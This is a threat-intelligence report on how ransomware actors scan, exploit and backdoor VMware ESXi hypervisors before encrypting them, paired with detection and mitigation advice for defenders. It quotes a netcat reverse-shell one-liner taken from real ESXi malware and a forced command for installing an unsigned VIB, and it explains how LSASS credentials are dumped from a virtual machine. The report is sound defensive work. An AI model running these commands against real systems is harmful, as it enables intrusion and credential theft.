In Before The Lock: ESXi
CTA-2023-0213

CYBER THREAT ANALYSIS

Executive Summary
As organizations continue virtualizing their critical infrastructure and business systems, threat actors
deploying ransomware have responded in kind. Between 2021 and 2022 we observed an approximately
3-fold increase in ransomware targeting ESXi, with offerings available from many groups including
ALPHV, LockBit, and BlackBasta. We identified and described detection strategies for multiple TTPs
that are often seen prior to the dropping of the ransomware payload in order to create detections andmitigations that are based on real-world, threat-actor use of these tools. In addition to providing
tool-specific detections such as YARA and Sigma rules, we also identified detections for common
enumeration, exploitation, and persistence techniques. The detections and mitigations provided can beused not only for the tools assessed below but also for custom (threat actor-specific) tools that areoutside the scope of this report. Organizations looking to threat hunt, detect, and mitigate
pre-ransomware TTPs for ESXi systems should use the detections provided as a starting point todevelop detections specific to their environment and as part of a layered security approach. The
infancy of defensive products such as endpoint detection and response (EDR) or antivirus software (AV)currently available for ESXi, combined with organizations’ increased reliance on virtualization, creates
an attractive target for threat actors and can potentially lead to operational downtime and reputational
damage to an organization.

Key Takeaways
●
●
●
●
●

●

●

Ransomware targeting ESXi will continue to be a threat to organizations, putting them at risk ofoperational downtime, competitive disadvantage, and damage to their brand.
Organizations should continue to deploy virtualized infrastructure, but it is critical to implement
security best practices and similar precautions as used in existing infrastructure.
The malicious tools targeting ESXi primarily abuse native commands to perform their actions,making them difficult to differentiate from normal system administrator activity.
Openly available tools and device search engines will continue to be used by threat actors
targeting ESXi, in addition to custom tooling.
The immaturity of antivirus and EDR solutions that cover ESXi, coupled with the difficulty of
implementing security measures, lowers the technical barrier for threat actors deploying malware
on ESXi compared with those targeting Windows.
Exploiting vulnerabilities for initial access is a common tactic; however, many threat actors simply
rely on system administrator notes, stored passwords, or keylogging specific employees to gain
access to a vSphere environment.
Defensive practices are difficult to implement due to the complex nature of hypervisors;
however, implementing utilities that provide host attestation, reduce the attack surface, andminimize access to other systems on the network can greatly reduce risk for organizations.

Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
2

CYBER THREAT ANALYSIS

Background
Ransomware groups continue to evolve and expand their toolsets, focusing on more specialized targets
and creating more refined tooling based on opportunities to make money. VMware ESXi is themarket-leading, enterprise-grade hypervisor designed for deploying and serving virtual infrastructure.
ESXi-targeting ransomware will continue to present a threat to organizations that are shifting towards
virtualizing the majority of their server infrastructure. The practice of securing virtualized infrastructure
is complicated due to the proprietary nature of the technology and the relative infancy of defensive
products designed for it. As a result of these factors, ESXi presents an exceptionally attractive target for
financially motivated threat actors.
In 2020, there were very few mentions of ESXi ransomware attacks, as threat actors primarily targeted
Windows-based networks due to the availability of initial access presented by the pandemic andmultiple critical vulnerabilities (such as CVE-2018-13379, CVE-2019-11510, and CVE-2019-19781). As
organizations responded with more effective defenses against ransomware and threat actors
recognized the defensive gaps in virtualized networks, threat actors began to create ESXi-specificransomware and techniques. In 2021, cyberattacks involving ESXi ransomware increased. During 2022,
we observed a 3-fold year-over-year increase in ransomware attacks by a larger number ofransomware groups and advanced TTPs and tooling targeting virtualized infrastructure, as seen in
Figure 1 below.

Figure 1: Ransomware attacks focused on ESXi show a 3-fold increase in a single year (Source: Recorded Future)
Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
3

CYBER THREAT ANALYSIS

Technical Analysis
Prior to dropping ransomware, threat actors targeting ESXi will primarily use scanning, exploitation, andmalicious tools built on native commands to perform discovery, privilege escalation, lateral movement,
and establishing a foothold on the victim server. These tools include device search engines, systemadministrator programs, and tools specifically customized for exploiting systems. We identified 4 tools— SharpSphere and 3 backdoors (Custom Python backdoor, VIRTUALPITA, and VIRTUALPIE) — that weused to demonstrate how these TTPs can be detected by defenders.

Open-Source Discovery
In order to perform reconnaissance of possible targets, threat actors use multiple resources to identify
vulnerable devices. Attackers and defenders both require the ability to track and maintain information
on external-facing hosts, and have several easy-to-use services that scan, collect, and curate thisinformation. Device search engine tools such as Shodan or Censys that are designed to observe
internet infrastructure and vulnerabilities allow users to easily identify vulnerable machines without
having to build their own network-scanning infrastructure. These tools allow their users to identify
geographical location, hosted services, open ports, HTTP responses, and specific vulnerabilities of themachines exposed to the internet.
In Figure 2 below, the query product:"VMware ESXi" returns a list of hosts that have been identified as
running ESXi.

Figure 2: Shodan query showing a list of hosts on which ESXi is installed (Source: Recorded Future)
Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
4

CYBER THREAT ANALYSIS
Network Discovery
After a threat actor performs Active Directory enumeration, they will identify critical systems on the
network. Active Directory enumeration can provide insight into which systems may be of interest to thethreat actor, but it does not provide access to those systems. In these situations the threat actor can
attempt to scan for VMware-centric systems. A threat actor will often perform a scan of the network
they have gained access to using tools such as nmap, Advanced IP Scanner, or SoftPerfect Network
Scanner to identify other systems on the network. These scanners provide information about
infrastructure based upon the open ports, file shares, and service banners that are found. Dependingon the actor’s sophistication, customized scanners or plugins can be used to minimize network trafficand detection. Open-source tools such as nmap provide plugins specifically for these tasks.
In Figure 3, we can see Advanced IP Scanner showing the service banner corresponding to the ESXi
and vCenter servers in the network, allowing the threat actor to clearly see where the systems theywish to attack are located. Armed with this knowledge, threat actors will now want to locate thecredentials of the machines or identify vulnerabilities that would allow them to significantly elevate theirprivileges.

Figure 3: Advanced IP Scanner output showing vSphere servers that have been identified (Source: Recorded Future)

Detection of Scanning
Since network scanning can be a precursor to exploitation, it is critical to understand this behavior. The
goal of scanning is to gain more insight into the network and its topology, the technology stack, and theRecorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
5

CYBER THREAT ANALYSIS
accessibility of hosts. The challenge of detecting malicious scanning in a network is that scanning will
always be present in some capacity. Differentiating between scanning performed by a systemadministrator, a software agent, or a malicious actor is extremely challenging; developing a baseline for“normal” network behavior in conjunction with other detection techniques can help, but is not foolproof.
Detection of a system administrator tool commonly used against ESXi, like nmap, is more challenging
than detecting such tools on Windows hosts since many of the utilities that could detect its use, suchas port scan detectors, are not built for ESXi servers. Instead, we recommend that organizations
consider the following techniques that focus on limiting the effects of malicious scanning:
●
●

●
●
●

●

Monitoring ESXi log files for anomalous authentication attempts, including multiple failed logins
or those from unexpected or malicious IP addresses.
Limiting services that the ESXi host can connect to by using the “Allowed IP Addresses” setting,which allows traffic to be restricted to a subnet, if desired. Using this feature to perform network
segmentation reduces what is visible to a potential threat actor who is scanning theorganization’s network.
Creating firewall rules to restrict access to ports used by VMware products in order to reduce
the attack surface.
Implementing intrusion detection systems (IDSs) to mitigate and detect malicious scanning andexploitation attempts.
Using Sigma rules, such as those for detecting scanning by Advanced IP Scanner, offers a goodstarting point (1, 2, 3). These rules are designed for Windows sysmon logs, as this is where
scanning that would identify ESXi and other infrastructure would likely originate from. However,
because scanning is not limited to a specific tool or operating system, consider using these rules
to develop detections for scanning using other tools and operating systems as well.
Defenders should perform scanning on their own network and apply the knowledge and resultsfrom these scans to their asset management and network hygiene systems.

Figure 4 demonstrates a failed connection attempt by a user in the auth.log followed by a successful
login by the root user, possibly indicating a malicious actor attempting to login. These login attempts,
whether they are successful or not, should be monitored.

Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
6

CYBER THREAT ANALYSIS

Figure 4: Attempted login of “bob” user, successful root login (Source: Recorded Future)

Figure 5 shows many users attempting to login via SSH in quick succession, likely indicatingbrute-forcing or password-spraying against ESXi. The vobd.log log provides a good opportunity formonitoring and troubleshooting ESXi using third-party applications.

Figure 5: Attempted SSH logins to the ESXi server (Source: Recorded Future)
Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
7

CYBER THREAT ANALYSIS

Exploits Targeting ESXi
After identifying an ESXi server on the target network, a threat actor will likely attempt to gain access to
it. Primarily, the vulnerabilities affecting ESXi are used for initial access, specifically via remote code
execution (RCE) or authentication bypass, in addition to privilege escalation. Recently, multiple
high-profile vulnerabilities affecting vSphere services have been leveraged by threat actors in the wild,
including CVE-2022-22954 and CVE-2022-22960. In February 2023, it is suspected that the
exploitation of CVE-2021-21974 led to the deployment of ESXiArgs ransomware. The US Cybersecurity
and Infrastructure Security Agency (CISA) has also issued multiple directives around patching andmitigation of VMware products as a part of securing national infrastructure. Below, we highlight some of
the top high-risk vulnerabilities from the last 6 months as well as others that have been seen in the
wild:
●

●

●

●

●

In October 2022, Fortinet discovered that threat actors have been exploiting a server-side
injection vulnerability (CVE-2022-22954) to initiate a payload, resulting in remote code execution
on VMware Workspace One and giving the actor elevated permissions on the machine.
According to CISA, CVE-2022-22954 is being chained together with CVE-2022-22960, a
privilege escalation vulnerability, to gain initial access via server-side injection and then escalate
permissions to the root account. This coupling of vulnerabilities significantly increases thedamage that can occur with the execution of malware at the highest level of permissions.
In August 2022, VMware announced that proof-of-concept code was being leveraged against
authentication bypass vulnerabilities (CVE-2022-31656 and CVE-2022-31659), with exploitation
likely to begin in the near future.
In December 2022, a critical vulnerability (CVE-2022-31705) surfaced that allows code
execution to escape a virtual machine and execute on the host. While it has not been exploited in
the wild as of this writing, allowing code to escape a virtual machine effectively eliminates one
layer of security often implemented by organizations.
In October 2022, threat actors gained access to an ESXi server and deployed an unnamed
Python backdoor using one of 2 vulnerabilities, CVE-2019-5544 or CVE-2020-3992; limited log
retention did not allow researchers to determine which vulnerability was used. CVE-2019-5544
is a heap overwrite vulnerability in OpenSLP used in ESXi and the Horizon DaaS appliance, while
CVE-2020-3992 is a user-after-free vulnerability in OpenSSL used in ESXi.
In February 2023, ESXiArgs ransomware was deployed to what is suspected to be over 3,000
servers. According to open-source reporting, and citing here the French Computer Emergency
Response Team (CERT-FR), the operators of ESXiArgs ransomware are likely exploiting
CVE-2021-21974, by which “a malicious actor residing within the same network segment as ESXi
who has access to port 427 may be able to trigger the heap-overflow issue in OpenSLP service
resulting in remote code execution”. CVE-2021-21974 has had a patch available since February
23, 2021.

While utilizing vulnerabilities is a common tactic, many threat actors simply rely on system administrator
notes, stored passwords, or keylogging specific employees to gain access to the vSphere environment.
Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
8

CYBER THREAT ANALYSIS
Once a threat actor acquires credentials in whatever way possible, they will attempt to further escalate
privileges and execute malware in line with their objectives. Typically, a threat actor will want to acquire
administrator credentials, enable SSH on the ESXi servers, and then escalate to root privileges forunrestricted access. This type of access using legitimate credentials is difficult to detect due to its
ability to blend into normal system administrator activities.

Detecting Exploits
Mitigating vulnerabilities is largely dependent on applying patches to the affected software. However,additional guidance may be found in vendor advisories, especially on high-profile vulnerabilities such as
this one for Log4j. In addition to monitoring for vulnerabilities affecting an organization's virtualization
infrastructure, organizations should also consider the following mitigations:
●

●
●
●

There are several publicly available Sigma rules for ESXi that focus on detecting malicious
behavior in web server logs that would indicate exploitation attempts, such as the use of: theCVE-2021-22005 file upload vulnerability; the CVE-2021-21972 remote code execution
vulnerability; the CVE-2021-21978 VMware View Planner vulnerability; or the VMware Workspace
ONE Access Admin remote code execution vulnerability. While this list is not all-inclusive, it
should serve as an example of how these types of Sigma rules can be written and used to detect
exploitation attempts.
Network traffic from unique IP addresses and connection attempts against specific ports or
endpoints can indicate what exploitation is being attempted.
Monitoring for snapshot creation, modification, and deletion will highlight suspicious activity
including tampering of virtual machines.
Command-and-control (C2) frameworks such as Metasploit provide simple modules to perform
exploitation, such as a module purpose-built to target vCenter with the Log4Shell vulnerability.
As a result, we recommend monitoring proof-of-concept exploits that target any version of ESXi
servers released over the last 6 months and using these in internal threat-hunting exercises.

Post-Exploitation Activity
In order to provide concrete examples of how post-exploitation activity manifests on ESXi, we identified
5 instances of malware targeting ESXi servers, including 3 backdoors, a ransomware incident, and a
post-exploitation toolkit used by red teamers, SharpSphere.

ESXi Backdoors
In October 2022, a threat actor gained access to an ESXi server and deployed an unnamed Python
backdoor. The threat actor modified 4 files on the ESXi server to enable persistence and establish afoothold on the target. These 4 files would all have changes that persist after a reboot, whether throughpersistence on the disk or changes stored and reapplied upon reboot. The files were:/etc/rc.local.d/local.sh, /bin/hostd-probe.sh, /store/packages/vmtools.py, and/etc/vmware/rhttpproxy/endpoints.conf.

Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
9

CYBER THREAT ANALYSIS
The malware also created a reverse shell using the following command, which the researchers at
Juniper mention was taken from this reverse shell one-liner cheat sheet. Figure 6 below shows how thiscommand appears in the shell.log ESXi shell activity log.
mkfifo /tmp/tmpy_8th_nb; cat /tmp/tmpy_8th_nb | /bin/sh -i 2>&1 | nc <host> <port > /tmp/tmpy_8th_nb
Figure 6: Reverse shell one-liner used by ESXi malware (Source: Juniper Networks)

If a port number is not specified in the POST request, the backdoor will default to port 427. This port isthe standard service port for OpenSLP, a service that has contained several vulnerabilities and isheavily used by ESXi.

Figure 7: ESXi shell enabled and netcat shell created by ESXi backdoor (Source: Recorded Future)

Finally, the backdoor creates a reverse proxy by modifying the /etc/vmware/rhttpproxy/endpoints.conf
file. This threat actor largely took advantage of native ESXi commands to execute malicious
functionality and relied on very little custom code on the server; in addition to the modified local.sh file,the backdoor is contained in just 1 file, /store/packages/vmtools.py. An extremely similar backdoor wasobserved in the ESXiArgs ransomware incident. Beginning on February 3, 2023, individuals on social
media and malware support forums began reporting that their VMware ESXi servers had been infectedwith an unknown ransomware that appends infected files with the extension “.args”. This variant of ESXi
ransomware has since been tracked as “ESXiArgs” by security researchers. To date, this is the firstwidespread instance of ransomware targeting ESXi.
In September 2022, researchers at Mandiant identified 2 backdoors installed on ESXi hypervisors thatthey refer to as VIRTUALPITA and VIRTUALPIE. Outside of the backdoor capabilities, which were more
full-featured than the Python backdoor identified by Juniper, the researchers noted a unique installation
mechanism for the backdoors.
The threat actor installed VIRTUALPITA and VIRTUALPIE using vSphere Installation Bundles (VIBs) andused these VIBs to maintain persistence on the target server. In doing so, the threat actor created a few
observable artifacts. Each VIB is accompanied by an XML descriptor file that contains configuration
Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
10

CYBER THREAT ANALYSIS
information including the “acceptance_level”, which is used to indicate the level of “certification” (from
VMware, a certified partner, or untested/uncertified) for the VIB. While the threat actor had indicatedthe “acceptance_level” as PartnerSupported (signed, by a trusted partner), the accompanying Signature
File that would be used to verify the host acceptance level of a VIB was empty. As a result, installation
required adding the “--force” flag to the VIB installation command to ignore the system’s configured“acceptance_level” for installing VIBs:
esxcli software vib install –force
Figure 8: Command line used to force installation of the malicious VIB in ESXi (Source: Mandiant)

While the VIB itself was installed, the signature could not be verified, which results in a “Signature
Verification” value of “Signature Not Available: Host may have been upgraded from an older ESXi
version” when running the following command on the ESXi server:
esxcli software vib signature verify
Figure 9: Command line used to verify a VIB signature in ESXi (Source: Mandiant)

While each of these backdoors victimized ESXi in different ways, both raised key examples of how
threat actors can install malware, establish persistence, and create tools for ESXi that are largely reliant
on using the innate functionality of ESXi in a malicious way to do so.

SharpSphere
SharpSphere is a C# implementation of vSphere’s Web Services API that is designed to interact with
virtual machines and snapshots. It provides a way to authenticate and perform tasks against vSphereservices such as listing VMs, dumping memory, creating snapshots, uploading files, and executing
commands. SharpSphere requires a set of credentials to interact with the vSphere web services API.
This tool is generally used through Cobalt Strike’s execute-assembly functionality, which injects theapplication directly into the victim computer’s memory. Typically, a threat actor would execute the tool
using Cobalt Strike in order to minimize artifacts on the victim network. This execution would allow theactor to interact with ESXi from a privileged Active Directory session, ideally giving Domain
Administrator permissions to the ESXi server. Figure 10 shows an event log being analyzed for thecreation of virtual machine snapshots, since the creation commands issued through Cobalt Strike could
not be detected.

Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
11

CYBER THREAT ANALYSIS

Figure 10: Snapshot creation and modification being observed in the hostd.log file (Source: Recorded Future)

Credential Access: Dumping LSASS
Using SharpSphere’s dump function, a threat actor can dump LSASS memory from a running VM
managed by vCenter or ESXi without authenticating to the guest operating system. This allows a threat
actor to bypass defense mechanisms installed on the virtualized machine, after which the threat actor
can use WinDbg and Mimikatz to extract credentials from it. Figure 11 shows Mimikatz in WinDbg being
used to examine credentials stored in memory.

Figure 11: Using Mimikatz to search the LSASS process in a dumped memory image for credential data (Source: Recorded
Future)Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
12

CYBER THREAT ANALYSIS
Detecting Post-exploitation Activity
Post-exploitation activity on ESXi includes a wide range of TTPs, and is largely dependent on the tools
the threat actor uses, which are often custom. As a result, we are able to provide more generalrecommendations on how to employ tools to detect this type of behavior (such as using SIEMs, otherappliances, or YARA rules), in addition to a few rules that provide examples of how to detect the use of
specific malicious tools that can also serve as examples for additional detections. We recommend thatorganizations consider the following techniques that focus on limiting the effects of post-exploitation
activity:
●

●

●

●
●
●

Monitoring ESXi log files using log management/event management/SIEM or Log Insight systems
for malicious commands like “esxcli” and “force” is recommended by VMware. However, theynote that monitoring local ESXi logs is less effective at detecting malicious behavior because athreat actor with the needed privileges to install software can also modify these logs to remove
indicators of the malicious activity. In monitoring ESXi logs, organizations should look for:○ Unexpected changes to system files, especially those that should not be modified or are
expected to be empty.
○ Unexpected modifications to persistent system files, which can be detected by enabling
secure boot and running the secure boot validation script.
YARA rules, in combination with sshfs, can be used to scan ESXi hosts using the PowerCLI
command below. However, VMware does not recommend enabling SSH on vSphere and notesthat it should be disabled using “Stop-VMHostService” as soon as possible after the scanning iscomplete.
○ Get-VMHostService -VMHost * | where {$_.Key -eq 'TSM-SSH'} | Start-VMHostService○ Examples of YARA rules published by Mandiant for malicious VIBs and VIRTUALPITA canbe found here.
VMware provides this guide on threat hunting for unsigned VIBs on ESXi. Additionally, VMware
provides the ability to manage the host’s VIB acceptance level, meaning that any VIBs must be at
the specified level or a more restrictive level to be installed.
Detection of log clearing, resetting log files, and missing timestamps may indicate an attempt tohide malicious usage.
Sigma rules can be used to monitor common vulnerabilities targeting VMware infrastructure.
Frameworks such as Cobalt Strike are typically used for malicious actions and can make it
difficult to detect malicious behavior due to their ability to obfuscate commands and processinteractions.

General Mitigations
Defending against attacks on ESXi requires a multi-faceted approach, as layering multiple defensive
methodologies will increase chances of detection and prevention of malicious activity. Traditional
defenses, strong password policies, and minimizing the attack surface can provide a great deal ofdeterrence to threat actors. Outside of the general mitigations above, we also recommend thefollowing:
Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
13

CYBER THREAT ANALYSIS●●●

Authentication and authorization:○ Enabling multi-factor authentication (MFA) and enforcing it on high-privileged accounts
adds a further layer of security.
○ Creating alerts on account modifications, enabling of services, and authentication
patterns can assist with identifying abnormal activity.
○ Implement strong password policies, account auditing, and pruning accounts.
○ Do not implement Active Directory authentication for administrators.
○ Credential access, especially using those bought via dark web marketplaces and shops,
will remain a threat.
Reduce the attack surface and opportunity for lateral movement:○ Disable SSH and Shell access to ESXi. However, if they must be enabled, consider setting
timeouts and enabling key-only authentication.
○ Implement network segmentation for the ESXi management network.
○ Minimize the number of open ESXi firewall ports, and use vSphere Client, ESXCLI, orPowerCLI commands to check and manage the status of ports.
Ensure only trusted, legitimate software are allowed to execute:○ Ensure that software, drivers, and other components of ESXi are legitimate; enable Secure
Boot on ESXi to perform validation of the components at boot time.
○ In addition, Trusted Platform Module 2.0 allows vCenter Server to validate the state of theenvironment by examining data from Secure Boot as well as system configuration
information. Organizations should make their best effort to install and configure TPM 2.0
chips, as this offers the most effective VMware-supported method of ensuring the
integrity of software components on the system.
○ Prohibit code execution inside ESXi with VMkernel.Boot.execInstalledOnly.

OutlookThreat actors will continue to target ESXi environments due to the significant amount of infrastructure
virtualized in an organization’s networks as well as the minimal amount of defenses against it.
Organizations that fail to protect themselves from ESXi ransomware (and from ransomware in general)face several potential risks outside of just the operational downtime experienced while recovering fromthe ransomware attack itself. In the event of a successful ransomware attack, recovery may not even be
possible due to bugs in the ransomware that corrupt virtual machines, or decrypters that fail to handle
large files. In addition, if data is exfiltrated and exposed, it could present a threat to the organization’scompetitive advantage (if proprietary documents, trade secrets, or other intellectual property areleaked) and to the brand’s overall public image and reputation.
This report covers openly available, commonly used tools that can be used to identify potential avenues
for targeting vSphere. These tools do not cover the entire threat landscape, as threat actors will likely
create their own scripts and utilities to minimize the chance of detection by defenders. However, thegeneral mitigations for securing ESXi covered in this report will likely be able to detect much of thisbehavior, as we observed during our testing of additional tools with redundant functionalities.
Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
14

CYBER THREAT ANALYSIS

About Insikt Group®
Recorded Future’s Insikt Group, the company’s threat research division, comprises analysts and security researchers with deep government, law
enforcement, military, and intelligence agency experience. Their mission is to produce intelligence that reduces risk for clients, enables tangible
outcomes, and prevents business disruption.
About Recorded Future®
Recorded Future is the world’s largest intelligence company. Recorded Future’s cloud-based Intelligence Platform provides the most complete
coverage across adversaries, infrastructure, and targets. By combining persistent and pervasive automated data collection and analytics withhuman analysis, Recorded Future provides real-time visibility into the vast digital landscape and empowers clients to take proactive action to
disrupt adversaries and keep their people, systems, and infrastructure safe. Headquartered in Boston with offices and employees around theworld, Recorded Future works with more than 1,500 businesses and government organizations across more than 60 countries.

Recorded Future® | www.recordedfuture.com | Distribution: Public, from Insikt Group | CTA-2023-0213
15